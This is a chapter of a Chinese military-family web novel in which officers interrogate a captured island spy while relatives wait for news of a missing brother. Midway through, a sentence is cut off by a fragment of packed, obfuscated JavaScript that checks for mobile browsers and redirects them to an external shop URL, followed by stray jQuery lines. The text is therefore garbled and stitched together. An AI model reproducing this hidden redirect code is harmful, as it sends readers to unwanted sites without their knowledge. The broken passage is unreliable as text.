孟晏青出了家门,直接进了宋义家找人。
到了之后看着正吃饭的两人,脸色一瞬有些难看。
宋义看这时候过来的老孟,伸头往他身后打量一眼:“就你自己过来了?”
张芳见他脸色不对:“怎么了?”
孟晏青:“二哥不在?”
宋义笑容收敛:“他不是说今晚住你们那边?”
孟晏青摇头:“他不在,这会儿还没回来,兰兰很担心。”
张芳看看天色,霎时也慌了:“宋义,你跟妹夫一起去找,我去陪着兰兰。”
宋义绷着脸站起身,回屋拿出手电跟着孟晏青就走。
门还没出,就见汪旅长警卫员小林,跑着直直往他们这边来了。
立正敬礼,小林低声传达:“孟副团,宋营长,汪旅长有令,命你们立刻到办公室集合。”
宋义孟晏青对视一眼,回礼领命。
宋义回头:“芳芳,你先去找小妹,我跟老孟去集合,之后会派人去找老二,别担心。”
说完跑步跟上前面的老孟和小林。
张芳愣愣站了会儿,没心情继续吃饭,收拾好桌子,锁好门,去陪小妹和孩子。
宋兰一边照顾着孩子吃饭,一边往院子里张望,盼着孟晏青带二哥一起回来。
张芳到时看到的就是勉强克制情绪的小妹,和受大人影响,安静吃饭的孩子们。
上前坐到平平身侧,张芳对宋兰使个眼色,让她别表现的太过明显。
后拿起筷子,也开始给孩子夹菜。
孩子们吃完去睡觉,她才能抽空和兰兰说话。
宋兰伸手擦擦汗湿的额角,端起安安的小碗,一勺一勺喂她。
上午婚礼两个孩子跟着他们跑来跑去,到新家后又闹腾半晌,洗漱完赶到床上,睡前故事没听两句就相继沉入梦乡。
哄睡完孩子,宋兰找到收拾厨房的堂嫂,焦急开口问道:“嫂子,堂哥和孟晏青呢?去找二哥了吗?”
张芳放下手中最后一个碗,在围裙上擦干手:“他们原先准备一起去找老二,可汪旅长突然派警卫员把他们给叫走了。”
宋兰听完心跳加速,手脚发麻:“叫走了?是出什么事了吗?二哥还没回来,嫂子要不你先在家看着孩子,我出去找找。”
张芳看她脸都白了忙解开围裙,拉着她到外间沙发坐下:“别担心,你哥走之前交代了,他跟妹夫会派人去找的,你对这边的地形不熟悉,咱好好等着就是为他们分忧了。”
宋兰反复抓揉着裤腿,暗暗咬牙,等找到二哥,她一定要跟老妈告状,让爸和大哥一起按着他揍一顿。
年纪一大把怎么还这么皮,这让她往后怎么相信他能安生做生意,就这还想赚大钱,做梦去吧!
张芳见小妹一直垂着头小声碎碎念,凑近细听,全是对老二的数落。
没打断她,张芳拿出刚刚带来的毛线兜,上手织毛衣。
不干等,有事做才不会想更多。
宋兰通过念叨二哥发泄完心里的焦虑与担忧后,见二嫂安静坐在一旁忙活,深受启发回屋拿出毛线摆弄起来。
孟晏青、宋义跑步到集合点后,看着办公室里沉着脸背着手走来走去的汪旅,和先他们一步到来的周团长和王政委,站在门口高喊报告。
汪长弓闻声抬首,摆摆手示意他们赶快进来。
两人快速步走到长官身后站定,等待首长指示。
来的路上宋义就在心里猜测,这么晚了叫人肯定是大事。
到了才发现被叫只有他们一团四人,这就让人有点难猜了。
摸不着头脑的宋义瞥了一眼面色严肃的老孟,按捺下心中各种揣测,立正站好。
汪长弓见人齐了,直接道:“这么晚叫你们过来,是因为有人在岛上密林发现了电台和特务,只叫你们的原因你们应该能猜到,特务不可能单独一人在岛上潜藏这么久,现在你们要做的,就是趁风声走漏前,抓紧时间排查特务同党,。”
简单解释完,汪长弓开始分派任务:“晏青,抓到的那个人交给你,不惜一切代价在天亮前给我撬开他的嘴,宋义你去辅助他,周榆林、王放你们负责岛上人员排查,听明白了吗?听明白的话抓紧时间行动!”
周榆林、王放、孟晏青、宋义齐声:“是!”
周榆林和王放转身带人开始排查,孟晏青、宋义跟在汪旅长身后去审抓到的特务。
前往关押特务的地方,孟晏青默默计划着等会儿怎么找人去找失踪的二哥。
任务重要,二哥也同样重要。
相较于不动声色的孟晏青,宋义就有些着急上火了。
任务缠身,还是审人,这待会儿要是递消息派人找老二,会不会被怀疑成特务啊。
汪长弓偏头用余光看一眼跟在身后的两人,嘴角微掀。
呵,小孟和小宋这回可算是拐着弯立功了。
想想傍晚发生的事,他都有些等不及看小孟这小子被惊一跳的表情了。
宋义刚开始因为心里有事,只一味跟着领导走,没注意周边路况,直到越走两边景色越熟。
宋义疑惑挠头,这不是去医院的路吗?特务关在医院里?
孟晏青对这条路不太熟,但走到这儿也认出是去医院的路。
想到汪旅长说的在密林发现的特务,联想到同样去了密林失踪到现在的二哥,孟晏青意外地挑挑眉。
走到被战士们重重围困的病房,孟晏青快走两步越过汪旅打开房门,见到的便是躺在床上生死不知的特务张帆。
张帆三十四岁,三团营长,媳妇儿在乡下伺候公婆外看顾着老二老三两个闺女,老大是儿子,今年十岁,跟他住在家属院,房子是这两年才申请下来的,之前职位不够,排不到。
就是这样一个长相平平,能力平平的人,居然是潜藏在岛上的特务,也不知迄今为止倒出了多少军部秘密。
孟晏青看了这特务一眼后,就开始用视线搜罗屋内角角落落。
如果他的没错,二哥应该也在这边。
汪长弓见状哼笑一声:“找你舅哥呢?”
孟晏青大方应是:“不过看来他不在这个病房。”
见他这么快就猜到了,汪长弓颇觉无趣:“他在隔壁,受了点轻伤,躺着呢。”
孟晏青点头表示知道了。
没等到他的追问,汪长弓改主意了,不打算就这么轻易地告诉他经过。
不是能装吗,他倒要看看他到底有多能装。
宋义听他们的对话听得晕晕乎乎,什么?什么?
密林发现特务的是老二?
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17858092|208907||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>老二还伤着了?
就在隔壁?
真是让人不省心啊!
不过这样也算找到人了,不用他绞尽脑汁,冒着被当特务的风险递消息派人找人。
放下心中忧虑,两人开始干正事。
经了解,特务被蛇咬过后打了血清,现在正迷糊,绝佳的审讯条件,他们可不能错过。
从天黑到天亮,孟晏青宋义熬鹰似得,从半残的特务口中得到一份名单后,任务告一段落。
剩下只剩筛查和确认名单真实性。
宋兰和张芳织了大半夜毛衣,等不到各自丈夫回来,明白没有消息就是好消息的道理,熬不住睡下了。
第二天一早,宋兰眨着因熬夜而干涩的双眼,早早起床准备早饭。
嫂子跟她一起,盛完饭菜放到桌上,两人结伴去叫孩子起床。
半途,院门忽然被人敲响。
开门一看,原是李副营长。
李响从兄弟们中抢下报信这个活后,早饭没吃就急着来了,见到两位嫂子后,憨笑着挠挠头:“嫂子,孟副团和宋营长有任务在身回不来,所以差我过来报个平安,还说二哥没事,受了点轻伤人在医院,你们要是不放心的话可以过去探望,不过不用担心他们。”
宋兰听到消息,提了一夜的心总算稍微放下了点。
看着额头汗津津的他,宋兰关心道:“吃饭没,没吃的话来嫂子家吃点,这个时间再回食堂怕是没什么好吃的了,真是辛苦你送消息过来了。”
张芳也道:“是啊是啊,辛苦你了,不嫌弃的话留下来吃点吧,做的多,不吃又剩下了。”
李响犹豫片刻摸着咕咕作响的肚子应下了,要是只有一个嫂子在,他一个大男人留下不太合适,现在两个嫂子都在,加上孩子,应该不会有人说闲话。
宋兰张芳都懂部队的规矩,饭桌上只劝饭,不该打听的一句没问。
送完孩子去学,宋兰到学校调了下课,转身去了菜市场。
虽不知二哥受伤轻重,伤到了哪,但既然都住院了,她还是给他做点有营养的补补为好。
孟晏青和堂哥两人到现在都回不来,指定也忙了一夜,顺带着给他们也补补。
买了只乌骨鸡和大骨头还有黄花鱼带回家,开始熬汤。
二哥本计划今天回去的,现在怕是得在这儿住着养一段时间。
火车票退不退的先不说,二哥的假期怕是得往后延延了。
二哥上次受伤还是他上初中时,趁放假,跑到山里爬树淘鸟蛋,压断树枝掉下来摔断了胳膊。
被爸妈轮流揍了一顿后,嚎啕大哭着去县里医院打了石膏和夹板。
等她看完二哥还得给家里打个电话,有些发愁该怎么圆二哥受伤这个事。
ε=(′ο`*)))唉!
一会儿跟二哥商量该怎么说吧。
不就是去个林子,这么多天也没见他受伤啊。
总不能是被蛇咬了吧。
说不通啊,被蛇咬了,没人在跟前他这会儿估计人都凉了,这岛上蛇毒的很。
孟晏青带回的信儿说的是受伤,别又是从树上掉下来了吧。
要还是这样伤的,那他就该被爸妈再打一顿。
人不能总在同一个地方跌倒,二哥是该好好涨涨教训。